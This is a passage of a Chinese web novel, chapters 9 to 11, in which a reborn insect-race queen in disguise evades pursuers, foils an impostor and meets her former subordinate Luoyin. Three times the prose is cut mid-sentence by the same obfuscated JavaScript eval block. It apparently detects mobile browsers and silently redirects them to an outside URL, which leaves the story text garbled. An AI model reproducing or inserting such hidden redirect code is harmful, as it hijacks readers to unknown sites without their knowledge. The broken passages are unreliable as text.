宁诺猛地抬头。黑发虫族莫名心悸,背脊抵着门,心口却像有什么陌生至极、难以描述的东西,在无声膨胀。 他从未说过这样的话,却及其生涩地自主开口:“我还有很多。” 宁诺:“多谢你,塔维什阁下。” 塔维什怔了下:“不需要喊得这么生疏。喊我…塔维什吧。” 宁诺顺从地说:“好的,塔维什。” 塔维什应了一声。 完蛋了,该死的—— 怎么回事。 塔维什半阖着眼,只觉得心脏愈发失控,搏动得几乎令他生出一种将要溺亡的错觉,难以喘息。这到底是…是因为即将发生的事,让他太过激动了吗?不行,他得…… “那我先去洗个澡。你……”他脱下手上的终端,解锁,递给宁诺。也不管新生虫崽懂不懂它的用法,慌不择路地大步走向浴室。“你就先自己玩吧。” 还在挫败思索该怎么打探虫族目前进展、却猝不及防被惊喜砸中的宁诺:“……” 她下意识扭头,黑发虫族已经“砰”地一声,关上浴室大门。 好吧。 既然如此。她是真的很想活。 …或许呢。试一试吧。反正都是白捡来的一条命。 宁诺吐出一口气,看向终端。 主页日历,4021纪年字样首先映入眼帘。 宁诺:“?” 是不是多出了,有那么额外一百个年?! 9. 第 9 章 没看错。 4021纪年。 宁诺醒在了自己死后一百年。 刷过数不胜数的新闻页面,整合完当下的纪年信息,宁诺的心情却比想象中平静。或许是这短短几小时的经历,早已在潜意识里替她打好铺垫,那么多陌生的服饰穿着,不知型号的终端,另外那个混血冕下。 她早已隐约意识到,这不是她的那个时代。至少,不会是3921纪年的近几年。 但一百年。 这比她活着的时间还要久。 有点地狱笑话了。 完全超出意料。但当年,虫族一些信息碎片好歹还能在星网上搜到,如今居然封闭得半点风声也无,就更别说现任虫母的消息。 陌生的时代,未知的敌人,劣势的局面。宁诺一直觉得自己心理素质还算不错,不然也没法和这群族裔周旋这么久,但现在,属实有些超纲。 “叮——” 宁诺谨慎抬头。 “你好,是安努克先生?”开门后,站在门外的男人身穿深蓝制服,高领扣得严整。宁诺认出他,是洛翠的近身护卫之一。 此时,他虽然面色正常,但说话颇为咬牙切齿之味。宁诺稍一思索,有些尴尬,确实,洛翠对她有点过于亲近了。 她目前身份是雄性,估计把她视作不轨之徒? 虽然这种说法未必恰当,听来也近乎荒诞,但以这片星际的权力结构而言,这种敌意本就具有其合理性。 她说了句:对。 其实不必多问,对方早已认出了她,但这是固定流程,尤其是在一位冕下要将东西交予他人时。宁诺接过对方递来的盒子,“对了。” 少年笑着说:“请为我向洛翠冕下问好。” 油嘴滑舌! 近身护卫瞪了她一眼,转头就走。宁诺面上不动,心里却舒坦了些。人倒霉多了嘛,就想出点窝囊气。这不,也没什么杀伤力。 她正要收起盒子。这东西摸起来质感倒是很好,却在进门的那一刻,一只苍白的手先一步自她头顶抵住门。 宁诺身体绷紧,指尖已燃起几缕电光。 她的动作隐蔽无声,卡在盒子的死角。只要对方再近一步,便会一触即发。可宁诺最终没有动。她看清了,这家伙是个熟人。 青年外形的虫族眉眼淡淡倦意,那双银色瞳孔自上而下低垂,没有情绪地凝视着她——正是前不久刚见到的珞因。 浓密乌黑的发丝被绷带束成一束,在他倾身时微微晃落。 宁诺下意识在那缕发丝几乎晃到自己面前时,伸手拂开。 珞因望着她,嗓音轻轻,说:“好大的胆子。” 宁诺几不可查的一顿,随即神色自然地放下手,静静回视:“有什么事吗?” 珞因反问:“你清楚你手中的是什么吗?” 宁诺:“是什么?” 珞因:“萨尔族的族徽。你拿到手,是想向另一位族裔殿下俯首称臣吗?” 见宁诺没有第一时间回应,珞因:“这是背叛。” 他望着她,神色很淡,语气却似乎变了。只是那变化太浅,像他这个性格一样,淡得几乎无从分辨。 “如果你背叛了王,我会杀了你。知道吗?” 他说得很慢,却极具威慑。 少年是幼崽,面容尚带些许婴儿肥。这是一张陌生、从未见过的脸。 可他却有一双莫名的,令人无法忽视的双眼。 珞因正是因此,才注意到了这个新生虫族。不知不觉间,他已带着药膏站在走廊上。后来又因某种难以言喻的念头,没有就此作罢,甚至还打听到这只虫崽是和塔维什一起,才一路赶来。 于是便看到了这一幕,心情骤然糟糕至低谷。 已经很久、很久,没有任何事能再牵动珞因如此明显的情绪波动。大抵从十年前,或更早开始,他活着的唯一意义,便只剩复仇。 只有厮杀,才能让他短暂确认自己并非一具行尸走肉。也只有在那之后,他才能勉强睡一个好觉。 珞因承认,他是在迁怒。为这个,与那个人…那么相近的眼睛,却做出难以饶恕的举动。 理智上,他自然明白,这只虫崽的表现,或许只是因为连自己手里拿着的是什么都不知道。可对他而言,无知本身,就是原罪。 接过不属于自己、不该—— “我知道了。” 内心那股疯狂翻涌、不断鼓胀的东西,骤然像被什么冰冷之物兜头浇灭。 他蓦然再次望进那双眼,瞳底倒映出的,是自己僵硬苍白、像是刚从水里捞出来的鬼一样的面孔。 分明没有什么神色,可是,珞因却不自主地退后一步。 少年似乎并未注意到他的反应,不再看他,揣着盒子擦过他身侧:“那我把它还给洛翠。” 像是玩笑一般,又丢下一句:“还回去了。阁下,可不能再杀我了。” 宁诺没有去看珞因后来的反应,只觉得怪不得她总觉得珞因变了很多,一百年不见,不变才怪。 还以为过来做什么呢。 真是一条好狗。 - 如果没有猜错,洛翠目前还是在宴会。 族裔选拔流程挺繁杂的。 虽然宁诺本人没经历过,但没见过猪跑,还没吃过猪肉吗?曾经她也是网上冲浪好手好吧。 将东西送回去的路上,宁诺已经大致琢磨出了一个逃离计划。 港口既然已经封锁,没有出进,那么虫族又是怎么进来,又该怎么离开的? 一个小时后,侦查设备就会大范围扫描,找到“她”。这种设备她还是第一次听说,刚开始确实有些发慌,可若往深处想,究竟是凭什么,才能找到身为“虫母”、拥有百分百变形能力的她? 她能确定,自己的变形无懈可击。那么,问题绝不会出在表层。 所以,只能是虫母最特殊的特性。 精神网链。 近距离下,虫母本就能感知到另一个虫母的存在,即便对方上了枷锁。那或许是一种装载了虫母精神力、能够释放感知的探测仪。 或许还有其他方法。毕竟一百年过去,说不准有什么高科技等着她。 但眼下,不妨先假设,对方是依靠精神力来感知她的方向。 反过来,她也能在其扫描而来的那一刻,感知到那台设备,再远程将其破坏。所以她必须提前找到一处安静区域,集中精神,以确保能在第一时间捕捉到它。 只是那样一来,她的位置也一定会短暂暴露。可这已经是唯一的方法。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17373234|200034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 另外,刚才的计划里,并不包括虫母。 这意味着,对方并不打算亲自下场。至于原因,或许另有顾虑,或许依旧认定她不足为惧,但确实为宁诺行了方便。 精神网链的另一个作用,便是控制、掌控、驯服。 高等虫族都在搜寻虫母,飞航的飞行员顶天了是中等血脉。 所以她只需,找到虫族的停靠点,然后…就像刚刚所做的那样——对塔维什的精神暗示很成功,不是吗? 宁诺随意关上塔维什的终端,权限全部解锁共享后,她就将这家伙的聊天记录都看了一遍。得知,这一小时里,这群族裔还真打算乖乖的什么也不做。 宁诺:“洛翠冕下,恕我无法接受这份礼物。” 洛翠原本因宁诺主动来找自己而十分高兴,听到少年的话后,虽觉意料之中,还是难免有些失落,却很快释然: “没关系,你能来找我,我已经很开心了。你现在是要回去了吗?” “回去前,能不能陪我见见我的新族裔?”她大方接过盒子,笑了笑,“这是最后一次邀请,就五分钟。我知道,你很快就要回阿克拉星了。” 得到少年的同意后,她欣然带着宁诺走出包厢,奔向宴会。 新的族裔是一名雌性。 高等血脉,是人族和人鱼族混血。 雌性、高等血脉。即便放在偌大星际,也属少见。 宴厅明灿的灯火下,她那头水蓝混棕的长发格外亮眼,像是挑染,被高高扎起。女人身形高挑,约莫一米八,一身低调的佣兵服,昭示着她先前的职业。 洛翠与女人举行了宣誓仪式。 而后,宁诺将要离去前,洛翠忽然想起什么:“对了,你等我一下。”她转身走进包厢,新出炉的族裔也自然跟在她身侧。 宁诺站在门外。很快,少女走出来,摊开手,掌心静静躺着一条以贝壳制成的银白项链。 “既然你没办法收下我的族徽,那就收下这个,留作纪念吧。”她温和道,“这是我自己手工做的,不值什么钱。” 宁诺看向少女良久,收下了这个项链。 就在少女要走回去前,她说:“冕下,我也有东西要给您。不过在我的房间,我想亲自交给你…可以跟我去一趟吗?” “…放肆!” 这句话惹得其余族裔不满,不由瞪向宁诺,却被洛翠止住:“阿瑟,不得无礼。” 她转向宁诺,唇角微勾,轻声应了。“好啊。” “你要送我礼物,我很开心。”洛翠不疾不徐地走在她身侧。举止优雅,即便只是行走在走廊,也像踏过一座华美宫殿。 她说着,轻轻叹息:“我在想着,如果以后还能再与你见面就好了。阿克拉星啊,我还没有去过,不知有没有机会。” 宁诺淡淡:“只要您想,随时都能去。” 洛翠“扑哧”笑了:“哪有那么容易,我很有自知之明。即便我是‘冕下’又怎么样?人上有人,那里是我暂时企及不到的呢。” “很有野心。”宁诺侧首,也笑了。“所以,这位‘服务员’先生,”她说:“你可以将武器,从我腰间挪开吗?” ‘洛翠’唇角上扬。 手中匕首,却顺势捅向少年。“什么时候发现的?” 10. 第 10 章 “——怎么是你?” 紫瞳虫族脸色极差,原本带着未干水珠、匆匆自浴室出来的脸颊还晕着红,瞬息被怒意取代。 他快步流星上前,一把拽起倚在敞开门板边的族裔衣领。 “珞因,你怎么在这里。你做了什么?!” 珞因霎时像是从噩梦里惊醒,应激般猛地推开他。塔维什这才看清,面前的族裔面色惨白,额头冷汗涔涔,像是病了。 塔维什却没太在意,他重复问:“安努克在哪?” 珞因倚在门上,缓缓吐出一口气,站好。“塔维什,这就是你对待上司的态度?” 毫不意外得到一声冷笑。 珞因没什么表情,只冷冷打量着因他迟迟不答,而逐渐暴躁的族裔,冷不丁开口:“你似乎有些太在意那个幼崽了。” 珞因平铺直叙:“他的社交智力表现得不像个幼崽。” “哈?” 等了半天却是等到这句话,塔维什简直感到荒谬,“你也在怀疑?你怎么和埃利亚斯一模一样,怀疑这种完全没有可能的发生?!” “要我再重复一遍吗?”塔维什:“他是我在商贩,对,就是那群该死的货物商贩那里捡来的。” “你知道那群商贩对待货物的方式吗?几百个只能容纳狗一样狭窄的铁笼,有时位置不够,他们还会强行塞入多个,挤在一起。就在那种笼子里,他待上了三天,整整三天!!” “就这样的环境下,他怎么会跟正常幼崽一样?!他居然还要被你们这群虫渣怀疑,我受够了。我要去杀了那群塔尔为族——” 珞因皱眉:“塔维什,够了,你冷静点。你需要精神力纾解。” 精神紊乱的虫族显然没能听进劝告,径直撕开空间。珞因气笑了,只能强行扣住前者:“现在不行。以后有的是时间,塔维什。你别发疯。” “你不是找那个虫族吗?他只是去将那个人鱼混血的族徽送回去罢了。” “族徽?” “对。” “什么意思?” 珞因:“就是那样,萨尔族的冕下不是很懂事。他的名字叫安努克?安努克还回去了。” “该死。”塔维什面色缓和了几分,却又像是忽然想起什么,“我去找他。” 珞因站了片刻,才察觉自己浑身黏腻,竟已出了一身冷汗。瞥了眼掌心攥紧的东西,他松开力道,抬腿跟了上去。 然而不过数秒,两人齐齐停住。塔维什说出事实,“有谁使用空间能力屏蔽了这片区域。” “感知不到。” 这一变化极其隐蔽,不可能瞒过这群虫族太久,但那名使用者显然没料到,虫族会以搜寻宁诺的方式,提前感知到异样—— 可即便如此,塔维什二人赶到时,只看见了一片狼藉。 通往酒店楼层的过渡廊道外,早已围满惶恐的人群。 现场血迹飞溅,萨尔族族群陛下的贴身护卫横七竖八地倒着,不知生死。 少年的最后气息断在这,身影却不知所终。 珞因动用精神力,强行唤醒其中一名护卫:“怎么回事?” 男人强撑着睁眼,喉咙像被硬生生刮开,沙哑得刺耳:“是安努克,安努克想杀了陛下!!” “求求你们了,虫族阁下,救救陛下!” 二人闻言,神色未变,对视得出结论。 “被精神力控制洗脑了。” “是一个高等血脉。” “是谁?” 珞因言简意赅:“先找到那个萨尔族冕下。” 果不其然,拍卖会照旧热闹,属于冕下的专属包厢却已一片狼藉。洛翠不知所终,和她一同消失的,还有她新招揽的族裔。 塔维什站着,一想到那个幼崽在自己看不见、摸不着的地方,或许还会受伤,胸口像是戳破的气球,空荡地令他难以自控地产生惊惧情绪。 他必须找到“他”。 - 而正在被两位虫族寻找的宁诺,此时此刻正悄声无息依附在一道身影上。要说发生了什么,还得倒回五分钟前。 起初,她和这家伙起了冲突。原本是想拖住他,好让跟着的、知情的护卫尽快去通知其他人。 最好是通知虫族。那是一个对同族也同样弱肉强食、缺乏怜悯,却绝不容许外族欺辱同族、报复心极强的种族。他们不会允许“同族”被异族践踏,因为这同样关乎一族的尊严。 这也是为什么,她选择挽留“洛翠”。 她需要一个足够正当的求援理由。 可在面对那群根本不知发生了什么、手忙脚乱的护卫后,她明白这条路行不通。 这不是一支训练有素的护卫队。 至少,暂时心理素质不是非常通关。 于是她只能调转方向,佯装逃离,却在拐角死处转换形态,而后迅速折返,附上了这个即将瞬移离开的人族。 “怎么才回来。” 重新见光不过一秒,宁诺便注意到室内陈设和塔维什那间相近,却小了不少,推断这人也住在同一家酒店,位置应当在第三层,是普通的单床房。 男人走动时风衣摇摆,“处理了一些小事。” “哈?”那道本就紧绷的音线骤然拔高,“什么小事花这么久?你上次也这么说,都是卡着我的时间时限用完回来!结果也没伤到那个夜毒巨蝎。你是不是故意的!?系——” 幽亮刀光映出一张小巧的脸。 刀锋紧贴大动脉,她的话戛然而止。 “我真的很努力了。主人。”男人低低笑着,望进那双惊恐的瞳孔,拇指抚上她的脸颊,对女人因沾上血液而露出的嫌恶神情毫不在意。 “这次不是给你完成了吗?那位冕下给你带来了,你难道还不满意吗?” 索兰:“你还敢说?!你看看你传送过来时还是醒的,我——算了,你回去吧!” “真是无情啊。” “别废话。时限到了。” “对了。”重新附着上索兰时,他像是才想起来,“有个小东西跟我一起回来了,你应该能解决吧……” 同一时刻,大脑响起机械声:【要是不能的话,你只剩下一次复生的机会了。】 什么?! 索兰猛地反应过来,但另一人的速度比她更快。下一刹,眼前一阵天昏地转,整个人被狠狠掼上地面,腹部炸开的剧痛逼得她剧烈咳嗽。 而那是,她脱口而出——“虫族!” 扼住她脖颈的艳丽少年一脸冷然。 草系统的!索兰真的很想爆出口,早就知道这家伙不靠谱,但没想到还能被人跟到老家的。而且看这个说法,还是他故意的!就是想坑死她! 那个坑货! 心里这么想,索兰现实开始快速反击,她唯一自信的是精神力。 更何况她认出了,面前的是幼崽形态。 可还没等她展开攻击,对方却像比她更有经验,径直先一步封住了她的精神力。这说明,他的精神力比她更广阔! 她听见他制住自己,问:“洛翠在哪?” 索兰也停住了,“你保证不杀我?” “……”宁诺盯着她没说话。 索兰立即道:“行,我带你过去。有话好好说,别动手。”她长相其实是偏向温柔系,高挑、清丽,轻声说话时,很容易让人放下防备。 “你这么锁着我,我也走不动不是吗?” 少年缓缓松开手。可索兰下一瞬便猛地撕开空间——紧接着,大脑传来一阵剧痛。 她听到少年淡淡道:“是腐蚀虫。我让他们进到你大脑了,人族。不要想着离开。” 宁诺盯着她。 这家伙血脉很高,但最初因毫无防备,又贸然动用精神力攻击,才会在开头落入下风。 另外,要不是听见他们的对话,得知那个“附属”存在时限,宁诺也不敢在暴露后干脆动手。 所以她压根不会放松警惕,从沙漠带来的腐蚀虫也在这时派上用场。 这种对虫族毫无伤害的虫子,对其他种族却是致命的。 索兰怔了下,气笑了。彻底放弃:“好,跟我来。” 洛翠被她安置在隔壁房间。宁诺找到她时,人还是昏迷的,身上却没有伤。解开绳索后,宁诺将她重新放回床上,正要从床头柜拨打前台电话—— 她蓦地回身,一把攥住那道即将穿梭空间的身影。可对方先一步踏了进去,于是宁诺索性抱紧了她。 两人轱辘着摔落在暗星一处小巷里。 看清四周后,宁诺再次确定,“她”很了解虫族,知道高等虫族对低等血脉的控制距离。 索兰却在这一刻,蓦地朝自己袭去。 下一瞬,又面色痛苦地松开了动作。 她袭向宁诺的精神力,还被宁诺死死攥在手里,所以“自杀”被强行止住。 电光石火之间,宁诺忽然想到一种荒谬,近乎像命运在捉弄她的一个可能性。 她一眨不眨地看着底下的人,忽然说:“…虫族要追杀的目标,是你。” 不是杀,而是重伤塔维什,趁其虚弱将他控制。绑架洛翠,是为了伪装成她,避人耳目。再加上对虫族的熟悉。最重要的是,她根本不怕“死”。 她用的肯定句,索兰没听出其中溢含的深意。她只觉得自己倒霉透顶,居然栽在一个虫崽身上。 可这根本不是普通虫族。他的精神力比她见过的所有高等虫族都更强。若说面对其他虫族,她多少还有还手之力,那么面对他,就像面对一片深不见底的海,根本没有反抗的余地。 这不正常! 如果她的精神力没有被提前截住,或许还有反杀的机会。系统已经将他们先前交手的一段画面传输给她——但那也不一定,这个虫族居然有双重能力另说,短短时间,和那个战斗画面相比,这家伙的实力明显肉眼可见的增长! 什么鬼,这到底是什么变异种!? 索兰的不回应,疯狂地试图攻击自己的躯体,一心求死让宁诺彻底确认。 太荒唐了。 宁诺想,其实她早就该猜到。根本不需要这家伙提醒,她本该从他们一次次的对话里抽丝剥茧, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17373235|200034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己拼出答案。因为正如她曾想过的那样,现任虫母和那群族裔若真是在追捕她,根本不可能让她见到第三天的太阳。 是她先入为主,是她以为过去了,她很理性分析了。 但是实际上,她一直处于应激状态。 不是吗? 压制身上的力道猛地一松,索兰心头一跳,见对方忽然朝她露出一抹友善微笑。 “你想要离开暗星?有什么办法?说说你的计划。” - 【系统,这个虫族疯了。】 【那不是挺好的吗?】系统机械:【他没杀掉你,反而问你计划,你趁这个时间找机会逃走就是。】 【不,你不懂。】 系统:【不懂什么?】 索兰没有回答,而是抬眼看向面前的少年,说出了自己的计划。她想截获虫族的飞船。因为在现阶段,所有出港口都已全面封锁,只有虫族想走就能走。 这就是这个种族的特性,霸道、强大,但无人敢指责。 她其实已经有些破罐子破摔。既然确认自己没法从他手里逃脱,干脆将计划全盘托出。却没想到,对方竟赞赏地瞥了她一眼,还表示自己也要一起。 等少年提到扫描设备时,她点点头。 “这个我知道,系…我同伴告诉我过,不过我现在有办法暂时屏蔽它。只要距离够远。就像你控制低等虫族那样。” “我可以起誓。”不等对方说,索兰已经朝位面起誓成功。 是的,这里的宇宙法则允许起誓,以证明当事人在当下所言,至少是真实可信的。 当她将自己搜寻到的暗星地图、路线,以及各种虫族线索交给少年时,索兰还是确认般问了一句:“你确定要跟我一起吗?” “当然。”宁诺微笑。 当然不。 ——怎么会有人明知道对方是被追捕的危险对象,还要和她一起行动。更何况,她自己的身份也同样敏感。 她是先入为主了,但不是脑子瓦特了。 宁诺一边想着,一边飞快记下终端里的所有资料,确保无一遗漏。 然而下一秒,她听到对方不徐不疾,自言自语般说:“不要这么敷衍啊。这一听,就知道你是骗我的,你说不定等会还会抓我……我命可真苦啊。” 确实,但大哥别说二哥。 “所以。” 宁诺心头莫名涌起一丝不详预感。 对面那张清纯面容浮起笑意,脸颊酒窝深陷:“我决定了,我们两个成为共犯吧!” 一瞬间,近在咫尺,空间撕裂,火焰般张狂的发丝骤然扬起,在这条狭窄昏暗的暗巷里,几乎一眼就能锁定! 宁诺即刻意识到了什么。 这家伙伤敌八十自损三千。 她没有开启她所谓的“屏蔽”! “轰隆——!!!”巨型尖刺顷刻贯入地面,生生砸出一个深坑。 随即,地面像被活生生撕开一般,裂痕蔓延,塌陷下沉。宁诺迅速跃开,看见那只半变形的巨型蜘蛛。人形头颅上,嵌着一双织网般的瞳孔,美艳而妖异—— 眼前,多出十几道一模一样的影子。 高等虫族—— 绞影魔蛛。 在对方朝她出手的那一刻,她终于明白那句“共犯”什么意思了。那就是,他们捕捉“对象的气息”就在这,这群族裔可从不是友善的家伙,所以他们只会——宁枉勿纵!! “我对付这个。”她听见对方还有闲心贴在她耳畔笑,“但我引来了两个。拜托你了。” 宁诺伫立着,霎那间,喉间骤然覆上一只冰冷的手。 对方贴在她耳畔,轻声低语:“我可以给你三秒解释的机会。” 哎。 宁诺望向远处逐渐远去的两道身影,几不可察地叹了口气。 “珞因。” 或许还要感谢那个人。宁诺想,没有暴露身份的风险,就没必要再束手束脚。 她的话轻的近似呢喃,几乎是带着一丝久违怀旧的语气。“吃了那么多教训。怎么还没改掉呢。” 怎么还没改掉,这个话多的毛病呢。 珞因几乎以为幻听。 却在同时,轰然炸开的精神网链疯狂撕裂下,踉跄着痉挛弯下腰,剧痛压得他几乎站不直身体。 然而他没有倒下。瞳孔猛地收缩,剧烈颤动。 血从五官与毛孔间渗出,渐渐浸透面孔,他却像是感知不到,仍直直望着面前站着的,垂眸看他挣扎的身影。 而后,像是听到什么,她转身奔向另一个方向。 珞因几乎是本能地跟随。可理所当然地,下一瞬,他的额头狠狠撞上地面,鲜血迅速洇透柔顺发丝,狼狈得不剩半分体面。 “不要走……”手指震颤着往前伸去,骨折般扭曲,鲜血淋漓。 几乎嘶吼地从咽喉挤出不似人声的音节,近乎魔怔,那双白瞳蒙上一层血雾。 他死死盯着那道逐渐远去的背影。 不要走。 那里很危险—— 陛下!!! 11. 第 11 章 像是有许多参差不齐的脚步声靠近。珞因闭目休歇,半倚着树干。 “就是这个家伙,陛下捡回来的族裔。” “真可怜的样子。但那么久过去,还死皮赖脸赖着不走就过分了吧。” “毕竟是条赖皮虫。” 底下的嗓音肆意哄笑起来。珞因仍旧闭着眼,仿佛一无所觉,直到有什么破空袭来,偏头避开。 他漠然睨向下方,翻身跃下树。 少年的肤色苍白得几近透明,斑驳日光落在他整齐束起的黑发间,愈发衬得他唇红齿白。 他抬眸,在光下呈出一种近乎纯真的白,“你们这样不好,陛下不会喜欢的。” 一句话,便将众族裔强压着的怒火彻底点燃。“——你什么意思?!” “珞因,别太过分!” “别跟他废话了!这本来就是比赛,又没人规定不能以多欺少。本来就该兵不厌诈,淘汰他!” 十几个族裔同时包抄,少年神情微敛,像是不明白自己哪一句惹怒了他们。 可他极其游刃有余,在这群同为高等虫族的同龄后辈里,他像一座难以逾越的高山。 最后一个倒下时,身体痉挛着:“珞因,别得意,下次一定不会让你好看。” 下一刻,眼前却递来一只修长干净的手。他猛地抬头,见珞因垂眼看着他,像是根本没听见方才那句挑衅,声音很轻问: “还能站起来吗?” “你……”他咬着牙,一把握上去,“你别以为这样,我就会认同——” “当然。”少年将他扶起,俯近耳畔,低不可闻的轻声:“毕竟,废物也只能靠嘴巴说话,不是吗?” 那个族裔瞳孔猛缩:“啊啊啊啊,你,该死——?!!” 爆发后的族裔打法不要命竟,真的伤到了珞因。被迫请假一日,少年百无聊赖地躺在病床上,指尖却忽地蜷起,侧过头去:“陛下。” 他掩不住惊喜:“你怎么来了。” 话音刚落,珞因像是又想起什么,脸色顿时变得有些微妙,像在极力压着什么情绪。他试图掩饰内心翻涌的激动,可实在太难,干脆作罢。 “来看看你。我看了你们的比赛回放。” 珞因虚虚握了握手,垂下眸:“是的,陛下…对不起。” “为什么道歉?” “我……听到他们说我死皮赖脸赖在陛下身边,一时失了分寸,出手重了些。”珞因低声认错,“下次我会对他们手下留情。毕竟,再怎么样,我们也还是族裔。” “那这就不是你的错,本来就是他们挑衅在先。何况这是比赛,尽全力,本就是对对手最大的尊重。” 耳尖烫得厉害,他语调平静:“是,珞因谨记,陛下。” 他张了张口,正要说话。 “陛下,”门外敲门声响起,语气无奈,“非常抱歉,但会议要开始了。长老院刚刚又给我打了十几通通讯,看来统一族群后的资源分配,的确让那群家伙彻底撕破脸了。” 少女侧头:“知道了,奥瑞利安。” 门外立着一名雄性,一头卷翘金发灿若日轮,眉眼温柔得像缓缓流淌的溪水,西装革履,目光却始终只落在室内那一道身影上。 理应如此。 这个世界,没有任何事物能比“她”更加夺目、耀眼。 珞因心中深深不舍,却也明白,这点时间已是他投机取巧偷来的。已经满足了。他低声和少女告别。 却见她忽然停在门口,侧眸,瞳孔里漾着点点笑意:“对了,珞因。” 雪白的面孔覆着朦胧微光,逆光中,那纤细身影仿佛神的化身。 “……以后比赛记得避着点伤,可不要再多话了。这次,就当长个教训吧。” 她,知道。 陛下…… 听到了。 珞因满脸通红。 珞因有很长一段时间,都不敢回想起当时那场极致羞耻过后的窘迫。羞愧,害怕,生怕陛下因此留下不好的印象,于是见缝插针地找各种机会解释,太糟糕了。 之后这件事也一度被同僚拎出来群嘲。 每次都让他颜面扫地。 直到后来,后来有一天…… 大脑骤然剧痛,像有一把针在脑髓深处疯狂刮绞。思绪碎成一片光怪陆离,心脏像被重力生生碾碎十几遍……鲜血、战火,逃亡…不对,都不对—— 难以承受的痛苦让他难以自控地溢声! “怎么回事?!”医者猛地放下笔记本,手法熟练地按下数个束缚按钮,同时立刻通知了那位先前交代过的阁下。 但精神力失控来得太突然。即便是幻城最昂贵的医院,也根本没有足够的艾尔晶石储量! 废话,那可是在黑市都能炒到天价的东西! 医者满头大汗,看了眼计时。 只够再撑两分钟。 两分钟后,所有、包括这座城市都可能在失控中一并毁灭! “这一次,我不得不去。”少女落下这句话,越走越远。最终,那道背影被浓重阴影彻底吞没。珞因无论如何都追不上。 “不要走……” 他迫切地想告诉她:他已经足够强大,不要去,不要离开族群—— 不要独自面对危险—— “啊——!”庞大的精神力如怒潮般失控扩散,刹那间,连空间都仿佛开始扭曲。 最后一秒,医者挡在护士身前,心生绝望,眼前却忽然一花。 像是有无数猩红碎石倾泻而下。不对,那分明是艾尔晶石!天呐,他还是头一次见这么多钱! “想死,也该选个合适的时候。”一抹灿金骤然闯入视野,让人想起海面浮动的日光。来者不知何时出现,徒手扼住暴起族裔的喉咙。 他们听见一道温柔、优雅,却又轻易叫人察觉其下空无情绪的嗓音:“还记你的名字吗?缇洛斯·珞因。” 珞因嗓音嘶哑:“……奥瑞利安。” “你是说,”病房重新归于安静后,金发族裔慢条斯理的动作顿了一下,抬头,一字一句,“你什么都不记得了?” 珞因面色苍白,语调仍旧平静:“我失去了一段记忆。” “那一方面的?”奥瑞利安:“我赶来时,你独自躺在废墟里,什么情况下,你会在濒死时,喊陛下?” 珞因揉着太阳穴,慢了半拍才回答:“我不记得了。” “全不记得了?” “……跟我一同去的有谁?” “你是说卡西安?” 珞因:“他怎么说。” “他目前也下落不明,通讯同样没回。”奥瑞利安轻描淡写地替他定下结论,“既然醒了,你先休息吧。” 目送奥瑞利安消失在空间裂缝中,珞因敛下神色。 - 好险。 宁诺站在废墟残骸后方,极力将气息压到最低。骤然爆发的战斗起初确实引起了一阵骚乱,可很快,后续便接上了一整套熟练的修补流程。 这里到底是暗星,大多数人早已习惯了大大小小的事故。 是的,在这里,发生冲突不过是“日常”。 穿着制服的搬运工、修补队来回穿梭。宁诺确认某个族裔不会再回现场,抬腿就要离开。 突袭两次可以。可如果对象是奥瑞利安,这家伙实在太熟悉她了。 要么百分百杀死他,要么…没能做到,那么临时删除记忆也仍然有暴露风险。 她不是很有把握。 所以最好不要对上。 就在她走出几步。 “原来你在这里。”身前落下阴影,索兰抬腿慢悠悠地凑过来,“找你很久了。” 这家伙解决了那个红发虫族,没走,反而来找她? 宁诺很莫名:“你来做什么?” 腐蚀虫还在她的大脑,这么久不处理,还正大光明找她。是笃定她没不会动她吗? “我知道你在想什么,你在想我是不是脑子有坑。”索兰原地转了一圈,无奈:“不是我想回来的,是我同伴,他死活都不让我走,让我回来问你一句…她卡壳:“要问什么来着?” 而后,像是有谁在隔空提醒她,索兰哦哦醒悟:“他说你还没回答他,你怎么发现他不是洛翠的?” 宁诺平淡:“那个贝壳项链,洛翠阁下见到我时戴着,告诉我这是她祖母制作的。” 索兰:“……” 索兰噗哧一笑:“原来如此,是他戏太多了,我们应得的。”虽这么说,她很命苦地偏偏头,说: “那么照目前这个情况看——你是真不打算杀我,也不打算结伴。” “我就先走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17373236|200034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” 她走出两步。 “你真不一起?你自己也看到了吧,你那些族裔哪里像正常生物,根本就是一群敌我不分的疯子。”她诚恳地回头,看她:“哦,你是虫崽可能不知道?我还听说,虫族甚至有一个传承,就是杀掉老虫母迎接…” 啪啦—— 一线毒液贴着她脸侧掠过。若刚才慢上一步,现在大概已经被腐成一滩烂泥了。索兰悻悻退开:“好狠的剧毒型雄虫,一点都不怜香惜玉。” 宁诺平静:“别废话了。弱肉强食,胜者为王,仅此而已。你是人族,对别的种族很好奇?” 索兰:“……什么啊?” 